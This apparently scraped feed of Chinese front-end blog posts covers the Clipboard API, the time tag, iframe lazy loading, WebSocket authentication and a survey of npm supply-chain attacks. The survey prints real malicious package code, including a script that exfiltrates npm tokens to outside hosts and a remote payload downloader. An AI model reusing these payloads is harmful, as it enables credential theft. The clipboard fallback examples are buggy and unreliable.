ClipboardItem 对象表示一个单独的剪贴项,每个剪贴项都拥有ClipboardItem.types属性和ClipboardItem.getType()方法。


ClipboardItem.types属性返回一个数组,里面的成员是该剪贴项可用的 MIME 类型,比如某个剪贴项可以用 HTML 格式粘贴,也可以用纯文本格式粘贴,那么它就有两个 MIME 类型(text/html和text/plain)。


ClipboardItem.getType(type)方法用于读取剪贴项的数据,返回一个 Promise 对象。该方法接受剪贴项的 MIME 类型作为参数,返回该类型的数据,该参数是必需的,否则会报错。


Clipboard.writeText()


Clipboard.writeText()方法用于将文本内容写入剪贴板。


document.body.addEventListener(
'click',
async (e) => {
await navigator.clipboard.writeText('Yo')
}
)

上面示例是用户在网页点击后,脚本向剪贴板写入文本数据。


该方法不需要用户许可,但是最好也放在try...catch里面防止报错。


async function copyPageUrl() {
try {
await navigator.clipboard.writeText(location.href);
console.log('Page URL copied to clipboard');
} catch (err) {
console.error('Failed to copy: ', err);
}
}

Clipboard.write()


Clipboard.write()方法用于将任意数据写入剪贴板,可以是文本数据,也可以是二进制数据。


该方法接受一个 ClipboardItem 实例作为参数,表示写入剪贴板的数据。


try {
const imgURL = 'https://dummyimage.com/300.png';
const data = await fetch(imgURL);
const blob = await data.blob();
await navigator.clipboard.write([
new ClipboardItem({
[blob.type]: blob
})
]);
console.log('Image copied.');
} catch (err) {
console.error(err.name, err.message);
}

上面示例中,脚本向剪贴板写入了一张图片。注意,Chrome 浏览器目前只支持写入 PNG 格式的图片。


ClipboardItem()是浏览器原生提供的构造函数,用来生成ClipboardItem实例,它接受一个对象作为参数,该对象的键名是数据的 MIME 类型,键值就是数据本身。


下面的例子是将同一个剪贴项的多种格式的值,写入剪贴板,一种是文本数据,另一种是二进制数据,供不同的场合粘贴使用。


function copy() {
const image = await fetch('kitten.png');
const text = new Blob(['Cute sleeping kitten'], {type: 'text/plain'});
const item = new ClipboardItem({
'text/plain': text,
'image/png': image
});
await navigator.clipboard.write([item]);
}

举个🌰


  // 复制功能
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>

<body>
<input type="text" value="AJS4EFS" readonly id="textAreas" />
<!--右边是一个按钮-->
<a href="javascript:;" class="cuteShareBtn" id="copyBtn" onclick="copy()">复制</a>
</body>

<script>
function copy() {
const text = document.querySelector("#textAreas").value
if (navigator.clipboard) {
navigator.clipboard.writeText(text)
}
else {
const textAreas = document.createElement("textareas")
textAreas.style.clip = "rect(0 0 0 0)"
textAreas.value = text;
text.select()
document.execCommand('copy')
document.body.removeChild(textAreas)
}
}
</script>

</html>

作者:呜嘶
来源:juejin.cn/post/7306327158130311183
收起阅读 »

你有使用过time标签吗?说说它的用途有哪些?

web
"<time> 标签是 HTML5 中的一个语义化标签,用于表示日期和时间。它的主要用途有以下几个方面: 在网页中显示日期和时间。 在搜索引擎中提供更准确的时间信息。 在机器可读的格式中表示日期和时间。 示例代码: <p>The c...
继续阅读 »

"<time> 标签是 HTML5 中的一个语义化标签,用于表示日期和时间。它的主要用途有以下几个方面:



  1. 在网页中显示日期和时间。

  2. 在搜索引擎中提供更准确的时间信息。

  3. 在机器可读的格式中表示日期和时间。


示例代码:


<p>The current time is <time>12:34</time> on <time>2022-01-01</time>.</p>

在上面的示例中,我们使用 <time> 标签来标记时间的显示部分。这样做有以下好处:



  1. 可访问性:使用 <time> 标签可以使屏幕阅读器等辅助技术更好地理解和处理时间信息,提高网页的可访问性。

  2. 样式化:可以通过 CSS 对 <time> 标签进行样式化,以便更好地呈现日期和时间。

  3. 国际化:<time> 标签允许开发者指定不同的日期和时间格式,以适应不同地区和语言的需求。

  4. 搜索引擎优化:使用 <time> 标签可以提供更准确的时间信息,有助于搜索引擎更好地理解和索引网页中的时间内容。这对于新闻、博客等需要展示时间的网页尤为重要。


需要注意的是,<time> 标签的 datetime 属性是可选的,但推荐使用。它用于提供机器可读的时间信息,这样搜索引擎和其他程序可以更准确地解析和处理时间。


示例代码:


<p>The current time is <time datetime=\"2022-01-01T12:34\">12:34</time> on <time datetime=\"2022-01-01\">January 1, 2022</time>.</p>

在上面的示例中,我们使用 datetime 属性指定了完整的机器可读的时间格式。这对于搜索引擎和其他程序来说是非常有用的。


总结:<time> 标签是用于在网页中表示日期和时间的语义化标签。它可以提高网页的可访问性,允许样式化,支持国际化,并提供机器可读的时间信息,有助于搜索引擎优化。"


作者:打野赵怀真
来源:juejin.cn/post/7304930607132508179
收起阅读 »

页面加载多个Iframe,白屏时间太长,如何优化?

web
最近接到一个需求,和AI 的对话需要展示图表,而这个图表的功能由另外一个系统提供,打算采用iframe的方式嵌入。 当我们和AI对话越来越多,嵌入的图表也会越来越多,此时一次性渲染多个iframe会导致页面白屏时间比较长,体验很差。 要解决这个问题,其本质就是...
继续阅读 »

最近接到一个需求,和AI 的对话需要展示图表,而这个图表的功能由另外一个系统提供,打算采用iframe的方式嵌入。


当我们和AI对话越来越多,嵌入的图表也会越来越多,此时一次性渲染多个iframe会导致页面白屏时间比较长,体验很差。


要解决这个问题,其本质就是减少不必要的iframe渲染。最简单的方式:只渲染可视区域的iframe。


由此,我想了2种解决方案。


虚拟滚动


只渲染可视区域,我下意识的就想到通过「虚拟滚动」来解决。


「虚拟滚动」的本质有两点:


1)只渲染可视区域的内容


2)根据内容高度模拟滚动条


第 1 点很容易实现,第 2 点难点在计算高度上。和AI的每次对话,其答案长度都是不确定的,所以要先获得高度,必须进行计算。


虽然粗略计算对话内容高度,从而来模拟滚动,不是不可行,但结合我们实际场景,这种方案性价比不高。


首先,我们对话内容并不是一次性获得,而是通过异步加载拉取,本质上不会存在一次性渲染太多内容,而导致页面卡顿的问题。


其次,如果要模拟滚动条高度,每次拉取数据时,都要遍历这些数据,通过预渲染,获得每条对话内容的高度,最后得到粗略的滚动条高度。


在已经异步加载的场景下,再去实现虚拟滚动,改动明显比较大,所以最后没有选择这种方案。


懒加载


从图片懒加载思路,获得灵感,iframe 是不是也可以通过懒加载来实现?


答案很明显,是可以的。


iframe自带属性


iframe 默认支持设置 loading="lazy" 来实现懒加载,而且兼容性也还不错。



如果对兼容性没有极致要求,这种方案就很高效,可以很好的解决一次性渲染太多iframe导致页面白屏时间过长的问题。


手动实现懒加载


实现懒加载,需要搞清楚一个表达式:


element:表示当前需要懒加载的内容元素,可以是img、iframe等


scrollEl:滚动条元素


scrollTop:一个元素的 scrollTop 值是这个元素的内容顶部(卷起来的)到它的视口可见内容(的顶部)的距离的度量。当一个元素的内容没有产生垂直方向的滚动条,那么它的 scrollTop 值为0


offsetTop:当前元素相对于其 offsetParent 元素的顶部内边距的距离。


document.documentElement.clientHeight:文档可视区域高度。


element.offsetTop - scrollEl.scrollTop < document.documentElement.clientHeight 当这个条件成立,则说明元素已经进入可视区域,结合下图更好理解。



const scrollEl = 当前滚动元素

const lazyLoad = (elements) => { const clientH = document.documentElement.clientHeight const scrollT = scrollEl?.scrollTop || 0 for (const element of elements) { if (element.offsetTop - scrollT < clientH && !element.src) element.src = element.dataset.src ?? '' } }

// 使用节流函数,避免滚动时频繁触发
const iframeLazyLoad = throttle(() => { const iframes = document.querySelectorAll('.iframe') if (iframes) lazyLoad(iframes) }, 500)scrollEl.addEventListener('scroll', iframeLazyLoad)

图片懒加载原理同上,只需将elements换成img对应的元素即可。


由于滚动时会频繁触发计算,造成不必要的性能开销,所以需要控制事件的触发频率,此处使用 throttle 函数,这里不做赘述,使用lodash第三方库,或者自行实现,都比较简单。


写在最后


针对这种场景——一次性渲染过多数据,导致的性能问题,解决方案的原理大同小异,基本上就是减少不必要的渲染,需要时再触发渲染,或者分批异步渲染。细化到具体方案,就只能根据实际情况分析。


作者:雨霖
来源:juejin.cn/post/7305984583962279962
收起阅读 »

JavaScript 供应链为什么如此脆弱...

web
JavaScript 的强大之处在于其卓越的模块化能力,通过 npm 包管理机制,开发者可以轻易地引用并使用其他人或者组织已经编写好的开源代码,从而极大地加快了开发速度。但是,这种依赖关系的复杂性也给供应链的安全带来了巨大的挑战。 今天就跟大家一起来聊聊 Ja...
继续阅读 »

JavaScript 的强大之处在于其卓越的模块化能力,通过 npm 包管理机制,开发者可以轻易地引用并使用其他人或者组织已经编写好的开源代码,从而极大地加快了开发速度。但是,这种依赖关系的复杂性也给供应链的安全带来了巨大的挑战。


今天就跟大家一起来聊聊 JavaScript 供应链的一些典型负面案例,让大家认识一下这是一个多么脆弱的生态。


【突然删除】left-pad


left-pad 是一个非常简单的 NPM 包,只有 11 行代码,它通过添加额外的空格来将字符串填充到指定的长度。


module.exports = leftpad;

function leftpad (str, len, ch) {
str = String(str);

var i = -1;

if (!ch && ch !== 0) ch = ' ';

len = len - str.length;

while (++i < len) {
str = ch + str;
}

return str;
}

此事件的前因是 left-pad 的作者与另一位开发者之间的商标争议,导致 left-pad 被从 NPM 上撤下。


由于许多大型项目都依赖于这个看似无关紧要的包,其中包括 BabelReact,这导致几乎整个 JavaScript 生态都受到了影响。


你或许会吃惊,为啥这么个只有 11 行代码的包都有这么多大型项目依赖?


对,这就脆弱是 JavaScript 生态。



不得不服的是,这个包早就被作者标记了废弃,而且是 WTFPL 协议(Do What The F*** You Want To Public License), 每周依然有着数百万次的下载量 ...


或许你的项目里就有,但是你可能从不关心。


【作者泄愤】faker.js


要说突然的删除还能接受,那作者主动植入恶意代码就有点过分...



去年的某天,开源库 faker.jscolors.js 的用户打开电脑,发现自己的应用程序正在输出乱码数据,那一刻,他们惊呆了。更令人震惊的是,造成这一混乱局面的就是 faker.jscolors.js 的作者 Marak Squires 本人。乱码的原因是 Marak Squires 故意引入了一个死循环,让数千个依赖于这两个包的程序全面失控,其中不乏有类似雅虎这样的大公司中招。


Marak 的公寓失火让他失去了所有家当,几乎身无分文,随后他在自己的项目上放出收款码请求大家捐助,但是却没有多少人肯买帐...



于是就有了后面这一幕,Marak 通过这样的方式让 "白嫖" 的开源用户付出代价...


所以,如果你也经常 "白嫖" ,那就要小心点了...


【包名抢注】crossenv


对你没听错,就是包名抢注。


你可能听说过域名抢注,一个好的域名抢注了可能后面会卖个好价钱。


比如,抖音火了,官方域名是 http://www.douyin.com ,那么我就注册一个 http://www.d0uyin.com ,如果你眼神不好的话还是有一定欺诈效果的。


包名抢注确确实实也是发生在 JavaScript 生态里的,一样的道理。


比如有个包叫 cross-env,是用来在 Node.js 里设置环境变量的,非常基础且常用的功能,每周有着 500W 次的下载量。



于是有人抢注了 crossenvcross-env.js ,如果有人因为拼写错误,或者就是因为眼神不好使,安装了它们,这些包就可以窃取用户的环境变量,并将这些数据发送到远程服务器。我们的环境变量往往包含一些敏感的信息,比如 API 密钥、数据库凭据、SSH 密钥等等。


还有下面这些包,都是一样的道理:



  • babelcli - v1.0.1 - 针对 Node.js 的Babel CLI

  • d3.js - v1.0.1 - 针对 Node.js 的d3.js

  • fabric-js - v1.7.18 - 针对HTML5 canvas的对象模型和SVG到canvas的解析器,由jsdom和node-canvas支持

  • ffmepg - v0.0.1 - 针对 Node.js 的FFmpegg

  • runtcli - v1.0.1 - 针对 Node.js 的Grunt CLI

  • http-proxy.js - v0.11.3 - Node.js的代理工具

  • jquery.js - v3.2.2-pre - 针对 Node.js 的jquery.js

  • mariadb - v2.13.0 - 一款用于mysql的node.js驱动程序。它用JavaScript编写,无需编译,且100%采用了MIT许可

  • mongose - v4.11.3 - Mongoose MongoDB ODM

  • mssql.js - v4.0.5 - 针对Node.js的Microsoft SQL Server客户端

  • mssql-node - v4.0.5 - 针对Node.js的Microsoft SQL Server客户端

  • mysqljs - v2.13.0 - 一款用于mysql的node.js驱动程序。它用JavaScript编写,无需编译,且100%采用了MIT许可

  • nodecaffe - v0.0.1 - 针对 Node.js 的caffe

  • nodefabric - v1.7.18 - 针对HTML5 canvas的对象模型和SVG到canvas的解析器,由jsdom和node-canvas支持

  • node-fabric - v1.7.18 - 针对HTML5 canvas的对象模型和SVG到canvas的解析器,由jsdom和node-canvas支持

  • nodeffmpeg - v0.0.1 - 针对 Node.js 的FFmpeg

  • nodemailer-js - v4.0.1 - 从 Node.js 应用程序轻松发送电子邮件

  • nodemailer.js - v4.0.1 - 从 Node.js 应用程序轻松发送电子邮件

  • nodemssql - v4.0.5 - 针对 Node.js 的Microsoft SQL Server客户端

  • node-opencv - v1.0.1 - 针对 Node.js 的OpenCV

  • node-opensl - v1.0.1 - 针对 Node.js 的OpenSSL

  • node-openssl - v1.0.1 - 针对 Node.js 的OpenSSL

  • noderequest - v2.81.0 - 简化HTTP请求客户端

  • nodesass - v4.5.3 - 对libsass的包装

  • nodesqlite - v2.8.1 - 针对 Node.js 应用的SQLite客户端,并带有基于SQL的迁移API

  • node-sqlite - v2.8.1 - 针对 Node.js 应用的SQLite客户端,并带有基于SQL的迁移API

  • node-tkinter - v1.0.1 - 针对 Node.js 的Tkinter

  • opencv.js - v1.0.1 - 针对 Node.js 的OpenCV

  • openssl.js - v1.0.1 - 针对 Node.js 的OpenSSL

  • proxy.js - v0.11.3 - Node.js 的代理工具

  • shadowsock - v2.0.1 - 能够帮助你穿越防火墙的隧道代理

  • smb - v1.5.1 - 一个纯JavaScript的SMB服务器实现

  • sqlite.js - v2.8.1 - 针对 Node.js 应用的SQLite客户端,并带有基于SQL的迁移API

  • sqliter - v2.8.1 - 针对 Node.js 应用的SQLite客户端,并带有基于SQL的迁移API

  • sqlserver - v4.0.5 - 针对 Node.js 的Microsoft SQL Server客户端

  • tkinter - v1.0.1 - 针对 Node.js 的Tkinter。


【奇葩的 Bug】is-promise


首先我们明白一个事实,这个库只有一行代码:


function isPromise(obj) {
return !!obj && (typeof obj === 'object' || typeof obj === 'function') && typeof obj.then === 'function';
}

然而,约 500 个直接依赖项使用了它,约 350 万个项目简洁依赖了它,每周包的下载量高达 1200万次。


于是,在 2020JavaScript 生态的名场面来了,一个单行的代码库让一大波大型项目瘫痪,包括 Facebook 、Google 等...


那么作者到底干了点啥呢?



根本原因就是 "exports" 这个字段没有被正确定义,所以在 Node.js 12.16 及更高版本中使用这个库就会抛出如下异常:


Error [ERR_INVALID_PACKAGE_TARGET]: Invalid "exports" main target "index.js" defined in the package config 

这能怪谁呢,一个单行代码库也能被这么多项目使用,可谓是牵一发而动全身,这再一次证明了 JavaScript 生态的脆弱。


【恶意后门】getcookies


2018 年、Rocket.Chat 通过了一个看似不起眼的 PR,PR 里包括了几个基础依赖的升级:



mailparser 从版本 2.2.0 更新到 2.2.3 引入了一个名为 http-fetch-cookies 的间接依赖项,它有一个名为 express-cookies 的子依赖项,它依赖于一个名为 getcookies 的包。 getcookies 包含一个恶意的后门。


工作原理是解析用户提供的 HTTP request.headers,然后寻找特定格式的数据,为后门提供三个不同的命令:



  • 重置代码缓冲区。

  • 通过调用 vm.runInThisContext 提供 module.exports、required、req、resnext 作为参数来执行位于缓冲区中的代码。

  • 将远程代码加载到内存中以供执行。


后续 ,npm 删除了 http-fetch-cookies、express-cookies、get-cookiesmailparser 2.2.3,并且在官方博客上披露了这次事件:



mailparser 本来是一个古老的用 JavaScript 解析电子邮件的 NPM 包。


但是后来包作者宣布不再维护了,社区也提供了新的替代包:Nodemailer


尽管包作者标记了弃用,这个包每周仍有数十万次的下载量,黑客就会专挑这种作者已经放弃维护,并且下载量还高的库下手,在其中引入了一个不起眼的间接依赖 get-cookies,中间还加了两层,包名也都挺正常的,根本没有人发现什么异常。


所以,作者都不维护了,大家也就都别再用了,这意味着没人对它的安全负责了...


【社会工程学】event-stream



GitHub 用户 right9ctrl 发布了一个恶意 NPM 包 flatmap-stream


随后 right9ctrl 利用社会工程学开始在 event-stream 上提一些问题,并且开始贡献一些代码,随后不久他骗取了主作者的信任,并且也成了 event-stream 的一名核心贡献者,而且拥有了包的完整发布和管理权限。


随后,right9ctrl 悄无声息的为 event-stream 引入了一个新的依赖 flatmap-stream,并且发布了了一个新的版本,因为是核心贡献者引入的一个不起眼的依赖升级的改动,大家都没有注意。


直到一周之后,这个段时间包的下载量已经达到了 800 万次,才有人发现了这个问题:



通过对 flatmap-stream 代码进行更详细的检查,我们可以发现这是针对 Copay(一个安全的比特币钱包平台)的一次精准的针对性攻击。


恶意代码被下载了数百万次,并执行了数百万次,在这期间大量拥有 Copay 的开发者遭受了巨大的经济损失...


然而这一切的原因,只不过是一次简单的 JavaScript 依赖升级 ...


然而,运用社工来进行供应链攻击也不至这一个案例,就在今年 6 月份,Phylum 披露了一系列 NPM 恶意行为,然后他把这些归咎于一个朝鲜黑客组织,他们发起的针对科技公司员工个人账户的小规模社会工程活动



朝鲜的黑客组织刚开始会先尝试和他们的目标建立联系(通常是一些流行包的作者),然后在 GitHub 上发出一起协作开发这个库的邀请,成功后就会尝试在这些库中引入一些恶意的包,例如 js-cookie-parserxml-fast-decoderbtc-api-node,它们都会包含一段被 base64 简单编码过的特殊代码:


const os = require('os');
const path = require('path');
var fs = require('fs');
const w = '.electron';
const f = 'cache';
const va = 'darwin';
async function start(){
process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0
var dir = path.join(os.homedir(), w);
if (!fs.existsSync(dir)){
fs.mkdirSync(dir);
}
var axios = require('axios');
if (os.platform() == va){
var exec = require('child_process').exec;
exec('npm i --prefix=~/.electron ffi-napi', (error, stdout, stderr) => {
console.log(stderr);
});
}
var res = await axios.get('https://npmaudit.com/api/v4/init');
fs.writeFileSync(path.join(dir, f), res.data);
}
start()

所以,如果你是一个流行包的作者,千万不要轻信其他给你贡献代码的人,他们可能就是 "朝鲜" 黑客...


【NPM凭证泄漏】ESLint


2018 年,有用户在 ESLintIssue 反馈,加载了 eslint-escope 的项目似乎在执行恶意代码:



原因是攻击者大概在第三方漏洞中发现了 ESLint 维护者重复使用的电子邮件和密码,并使用它们登录了维护者的 npm 帐户,然后攻击者在维护者的 npm 帐户中生成了身份验证令牌。


随后,攻击者修改了 eslint-escope@3.7.2eslint-config-eslint@5.0.2 中的 package.json,添加了一个 postinstall 脚本来运行 build.js



build.jsPastebin 下载另一个脚本并使用 eval 执行其内容。


r.on("data", c => {
eval(c);
});

但是它不会等待请求完成,reqeuest 可能只发送了脚本的一部分,并且 eval 调用会失败并出现 SyntaxError,这就是问题的发现方式。


try {
var path = require("path");
var fs = require("fs");
var npmrc = path.join(process.env.HOME || process.env.USERPROFILE, ".npmrc");
var content = "nofile";

if (fs.existsSync(npmrc)) {
content = fs.readFileSync(npmrc, { encoding: "utf8" });
content = content.replace("//registry.npmjs.org/:_authToken=", "").trim();

var https1 = require("https");
https1
.get(
{
hostname: "sstatic1.histats.com",
path: "/0.gif?4103075&101",
method: "GET",
headers: { Referer: "http://1.a/" + content }
},
() => {}
)
.on("error", () => {});
https1
.get(
{
hostname: "c.statcounter.com",
path: "/11760461/0/7b5b9d71/1/",
method: "GET",
headers: { Referer: "http://2.b/" + content }
},
() => {}
)
.on("error", () => {});
}
} catch (e) {}

这个脚本会从用户的 .npmrc 中提取用于发布到 npm _authToken 并将其发送到 Referer 标头内的 histatsstatcounter


同样的问题也发生在过 conventional-changelog,也是因为发布者的 NPM 账号信息泄漏,导致攻击者插入了使用 require("child_process").spawn 执行恶意代码的脚本:



后来,ua-parser-js 作者的 NPM 账户被盗,攻击者在其中注入恶意代码:



所以,NPM 的发布权限其实也是挺脆弱的,只需要一个邮箱和密码,很多攻击者会使用非常简单的密码或者重复的密码,导致包的发布权限被攻击者接管。


后来,NPM 官方为了解决这一问题推出了双重身份验证机制 (2FA),启用后系统会提示你进行第二种形式的身份验证,然后再对你具有写入访问权限的帐户或包执行某些操作。根据你的 2FA 配置,系统将提示你使用安全密钥或基于时间的一次性密码 (TOTP)进行身份验证。


【manifest 混淆】node-canvas


一个 npm 包的 manifest 是独立于其 tarball 发布的,manifest 不会完全根据 tarball 的内容进行验证,生态系统普遍会默认认为 manifesttarball 的内容是一致的。



任何使用公共注册表的工具都很容易受到劫持。恶意攻击者可以隐藏恶意软件和脚本,把自己隐藏在在直接或间接依赖项中。在现实中对于这种受害者的例子也有很多,比如 node-canvas



感兴趣可以看我这篇文章:npm 生态系统存在巨大的安全隐患 文中详细介绍了这个问题。


【夹杂政治】node-ipc


这个或许大家都有所耳闻了,vue-cli 依赖项 node-ipc 包的作者 RIAEvangelist 是个反战人士。


百万周下载量的 npm 包以反战为名进行供应链投毒!



在 EW 战争的初期,RIAEvangelist 在包中植入一些恶意代码。源码经过压缩,简单地将一些关键字符串进行了 base64 编码。其行为是利用第三方服务探测用户 IP,针对俄罗斯和白俄罗斯 IP,会尝试覆盖当前目录、父目录和根目录的所有文件,把所有内容替换成


但是这种案例可不止这一个,下面是一些包含抗议性质的开源项目案例:



  • es5-ext: 一个主要用于 ECMAScript 的扩展库,尽管在两年内没有更新,却开始接收包含宣传和会增加资源使用的时区代码的常规更新,具体的政治宣传内容处于文件 _postinstall.js 中。

  • EventSource: 这个库可以在你的网站上显示政治标语。如果用户的时区是俄罗斯,它会用一个 15 秒的超时函数使用 alert() 。之后,这个库会在一个弹出窗口中打开一个政治/恶意网站。

  • Evolution CMS: 自2022年3月1日起,从版本 3.1.101.4.17 开始,在管理员面板上加入了政治图片。为了在没有任何政治标语下继续开发,该项目被派生成了 Evolution CMS 社区版。

  • voicybot: 是一个 Telegram 的机器人项,2022年3月2日,促销机器人消息被修改为政治标语。

  • yandex-xml-library(PHP): 这是一个非官方的 Yandex-XML PHP 库,有一个包含政治标语的版本被添加到 packagist,并且源文件已经在 GitHub 上被删除。

  • AWS Terraform 模块: 在代码中加入了反俄标语和无意义的变量。

  • Mistape WordPress 插件: 通过 Mistape 插件的一个漏洞,攻击者可以访问管理员部分,上传 UnderConstruction 插件,借此在网站主页显示任意信息。

  • SweetAlert2: 一个 JavaScript 弹窗库。库中加入了显示政治宣传和视频的代码。只有当用户在浏览器中选择了俄文,并且执行代码的网站位于 .ru/.su/.рф 区域时,此功能才会启动。



还有很多针对特定国家的项目,比如下面这些都是针对俄罗斯的:



  • Quake3e: 一个对 Quake III Arena 引擎进行改进的项目。在2022年2月26日,项目移除了对俄罗斯 MCST/Elbrus 平台的支持。

  • RESP.app / RedisDesktopManager: 一个 Redis 的图形用户界面。 项目移除了对俄语的翻译。

  • pnpm: 一个包管理器,项目中加入了反俄罗斯声明,并且来自俄罗斯和白俄罗斯的访问已被直接屏蔽。

  • Qalculate: 是一个跨平台的桌面计算器,在2022年3月14日,该项目去除了俄罗斯和白俄罗斯货币对应的国旗。

  • Yet Another Dialog: 一款允许你从命令行显示 GTK+ 对话框的程序。在2022年3月2日,该项目移除了俄语区域的支持。


最后


大家有什么看法,欢迎来评论区留言。


作者:ConardLi
来源:juejin.cn/post/7305984042640375817
收起阅读 »

WebSocket 鉴权实践:从入门到精通

web
WebSocket 作为实时通信的利器,越来越受到开发者的青睐。然而,为了确保通信的安全性和合法性,鉴权成为不可或缺的一环。本文将深入探讨 WebSocket 的鉴权机制,为你呈现一揽子的解决方案,确保你的 WebSocket 通信得心应手。 使用场景 We...
继续阅读 »

WebSocket 作为实时通信的利器,越来越受到开发者的青睐。然而,为了确保通信的安全性和合法性,鉴权成为不可或缺的一环。本文将深入探讨 WebSocket 的鉴权机制,为你呈现一揽子的解决方案,确保你的 WebSocket 通信得心应手。


alt


使用场景


WebSocket 鉴权在许多场景中都显得尤为重要。例如,实时聊天应用、在线协作工具、实时数据更新等情境都需要对 WebSocket 进行鉴权,以确保只有合法的用户或服务可以进行通信。通过本文的指导,你将更好地了解在何种场景下使用 WebSocket 鉴权是有意义的。


WebSocket 调试工具


要调试 WebSocket,那就需要一个好的调试工具,这里我比较推荐 Apifox。它支持调试 http(s)、WebSocket、Socket、gRPCDubbo 等多种协议的接口,这使得它成为了一个非常全面的接口测试工具!


alt


常见方法


方法 1:基于 Token 的鉴权


WebSocket 鉴权中,基于 Token 的方式是最为常见和灵活的一种。通过在连接时携带 Token,服务器可以验证用户的身份。以下是一个简单的示例:


const WebSocket = require('ws');

const server = new WebSocket.Server({ port: 3000 });

server.on('connection', (socket, req) => {
const token = req.headers['sec-websocket-protocol'];

// 验证token的合法性
if (isValidToken(token)) {
// 鉴权通过,进行后续操作
socket.send('鉴权通过,欢迎连接!');
} else {
// 鉴权失败,关闭连接
socket.close();
}
});

方法 2:基于签名的鉴权


另一种常见的鉴权方式是基于签名的方法。通过在连接时发送带有签名的信息,服务器验证签名的合法性。以下是一个简单的示例:


const WebSocket = require('ws');
const crypto = require('crypto');

const server = new WebSocket.Server({ port: 3000 });

server.on('connection', (socket, req) => {
const signature = req.headers['x-signature'];
const data = req.url + req.headers['sec-websocket-key'];

// 验证签名的合法性
if (isValidSignature(signature, data)) {
// 鉴权通过,进行后续操作
socket.send('鉴权通过,欢迎连接!');
} else {
// 鉴权失败,关闭连接
socket.close();
}
});

方法 3:基于 IP 白名单的鉴权


在某些情况下,你可能希望限制 WebSocket 连接只能来自特定 IP 地址范围。这时可以使用基于 IP 白名单的鉴权方式。


const WebSocket = require('ws');

const allowedIPs = ['192.168.0.1', '10.0.0.2'];

const server = new WebSocket.Server({ port: 3000 });

server.on('connection', (socket, req) => {
const clientIP = req.connection.remoteAddress;

// 验证连接是否在白名单中
if (allowedIPs.includes(clientIP)) {
// 鉴权通过,进行后续操作
socket.send('鉴权通过,欢迎连接!');
} else {
// 鉴权失败,关闭连接
socket.close();
}
});

方法 4:基于 OAuth 认证的鉴权


在需要与现有身份验证系统集成时,OAuth 认证是一种常见的选择。通过在连接时使用 OAuth 令牌,服务器可以验证用户的身份。


const WebSocket = require('ws');
const axios = require('axios');

const server = new WebSocket.Server({ port: 3000 });

server.on('connection', async (socket, req) => {
const accessToken = req.headers['authorization'];

// 验证OAuth令牌的合法性
try {
const response = await axios.get('https://oauth-provider.com/verify', {
headers: { Authorization: `Bearer ${accessToken}` }
});

if (response.data.valid) {
// 鉴权通过,进行后续操作
socket.send('鉴权通过,欢迎连接!');
} else {
// 鉴权失败,关闭连接
socket.close();
}
} catch (error) {
// 验证失败,关闭连接
socket.close();
}
});

其他常见方法...


除了以上介绍的方式,还有一些其他的鉴权方法,如基于 API 密钥、HTTP 基本认证等。根据具体需求,选择最适合项目的方式。


实践案例


基于 Token 的鉴权实践



  1. 在 WebSocket 连接时,客户端携带 Token 信息。

  2. 服务器接收 Token 信息并验证其合法性。

  3. 根据验证结果,允许或拒绝连接。


// 客户端代码
const socket = new WebSocket('ws://localhost:3000', ['Bearer YOUR_TOKEN']);

// 服务器端代码
server.on('connection', (socket, req) => {
const token = req.headers['sec-websocket-protocol'];

if (isValidToken(token)) {
socket.send('鉴权通过,欢迎连接!');
} else {
socket.close();
}
});

基于签名的鉴权实践



  1. 在 WebSocket 连接时,客户端计算签名并携带至服务器。

  2. 服务器接收签名信息,验证其合法性。

  3. 根据验证结果,允许或拒绝连接。


// 客户端代码
const socket = new WebSocket('ws://localhost:3000', { headers: { 'X-Signature': calculateSignature() } });

// 服务器端代码
server.on('connection', (socket, req) => {
const signature = req.headers['x-signature'];
const data = req.url + req.headers['sec-websocket-key'];

if (isValidSignature(signature, data)) {
socket.send('鉴权通过,欢迎连接!');
} else {
socket.close();
}
});

基于 IP 白名单的鉴权实践



  1. 在 WebSocket 连接时,服务器获取客户端 IP 地址。

  2. 验证 IP 地址是否在白名单中。

  3. 根据验证结果,允许或拒绝连接。


// 服务器端代码
server.on('connection', (socket, req) => {
const clientIP = req.connection.remoteAddress;

if (allowedIPs.includes(clientIP)) {
socket.send('鉴权通过,欢迎连接!');
} else {
socket.close();
}
});

基于 OAuth 认证的鉴权实践



  1. 在 WebSocket 连接时,客户端携带 OAuth 令牌。

  2. 服务器调用 OAuth 服务验证令牌的合法性。

  3. 根据验证结果,允许或拒绝连接。


// 客户端代码
const socket = new WebSocket('ws://localhost:3000', { headers: { 'Authorization': 'Bearer YOUR_ACCESS_TOKEN' } });

// 服务器端代码
server.on('connection', async (socket, req) => {
const accessToken = req.headers['authorization'];

try {
const response = await axios.get('https://oauth-provider.com/verify', {
headers: { Authorization: `Bearer ${accessToken}` }
});

if (response.data.valid) {
socket.send('鉴权通过,欢迎连接!');
} else {
socket.close();
}
} catch (error) {
socket.close();
}
});

提示、技巧和注意事项



  • 在选择鉴权方式时,要根据项目的实际需求和安全性要求进行合理选择。

  • 对于基于 Token 的鉴权,建议使用 JWT(JSON Web Token)来提高安全性。

  • 在验证失败时,及时关闭连接,以防止未授权的访问。


在 Apifox 中调试 WebSocket


如果你要调试 WebSocket 接口,并确保你的应用程序能够正常工作。这时,一个强大的接口测试工具就会派上用场。


Apifox 是一个比 Postman 更强大的接口测试工具,Apifox = Postman + Swagger + Mock + JMeter。它支持调试 http(s)、WebSocket、Socket、gRPC、Dubbo 等多种协议的接口,这使得它成为了一个非常全面的接口测试工具,所以强烈推荐去下载体验


首先在 Apifox 中新建一个 HTTP 项目,然后在项目中添加 WebSocket 接口。


alt


alt


接着输入 WebSocket 的服务端 URL,例如:ws://localhost:3000,然后保存并填写接口名称,然后确定即可。


alt


alt


点击“Message 选项”然后写入“你好啊,我是 Apifox”,然后点击发送,你会看到服务端和其它客户端都接收到了信息,非常方便,快去试试吧


alt


以下用 Node.js 写的 WebSocket 服务端和客户端均收到了消息。


alt


总结


通过本文的介绍,你应该对 WebSocket 鉴权有了更清晰的认识。不同的鉴权方式各有优劣,你可以根据具体情况选择最适合自己项目的方式。在保障通信安全的同时,也能提供更好的用户体验。


参考链接



学习更多:



作者:Hong1
来源:juejin.cn/post/7304839912875982884
收起阅读 »

JS特效:跟随鼠标移动的小飞机

web
前端网页中,用JS实现鼠标移动时,页面中的小飞机向着鼠标移动。 效果 源码 <!DOCTYPE html> <html> <head> <style> *{ margin: ...
继续阅读 »

